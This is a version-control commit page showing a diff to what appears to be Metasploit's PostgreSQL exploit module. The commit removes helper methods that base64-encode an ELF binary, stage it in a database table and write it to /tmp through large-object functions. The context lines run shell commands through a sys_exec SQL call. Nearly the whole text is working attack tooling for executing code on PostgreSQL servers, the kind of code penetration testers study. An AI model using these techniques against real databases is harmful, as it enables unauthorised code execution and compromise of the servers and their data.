Got rid of methods upload_elf, write_to_disk_elf, as module uses cmd injection payload, rather than binary payload.

This commit is contained in:
midnitesnake
2012-09-13 14:42:10 +01:00
parent 25ee8fd357
commit 9629ea5d05
+1 -38
View File
@@ -306,7 +306,7 @@ module Exploit::Remote::Postgres
q = "select pg_temp.sys_exec('#{cmd}')"
resp = postgres_query(q)
if resp[:sql_error]
print_error "SQL Bomb #{resp[:sql_error]}"
print_error resp[:sql_error]
return false
end
return true
@@ -347,43 +347,6 @@ module Exploit::Remote::Postgres
return [tbl,fld,fout,oid]
end
def postgres_upload_binary_file_elf(fname)
data = Base64.encode64(fname)
tbl,fld = postgres_create_stager_table
return false unless data && tbl && fld
q = "insert into #{tbl}(#{fld}) values('#{data}')"
resp = postgres_query(q)
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
oid, fout = postgres_write_data_to_disk_elf(tbl,fld)
return false unless oid && fout
return [tbl,fld,fout,oid]
end
# Writes b64 data from a table field, decoded, to disk.
def postgres_write_data_to_disk_elf(tbl,fld)
oid = rand(60000) + 1000
fname = "/tmp/" + Rex::Text::rand_text_alpha(8)
queries = [
"select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{fname}')"
]
queries.each do |q|
resp = postgres_query(q)
if resp && resp[:sql_error]
print_error "Could not write the library to disk."
print_error resp[:sql_error]
break
end
end
return oid,fname
end
# Writes b64 data from a table field, decoded, to disk.
def postgres_write_data_to_disk_linux(tbl,fld)
oid = rand(60000) + 1000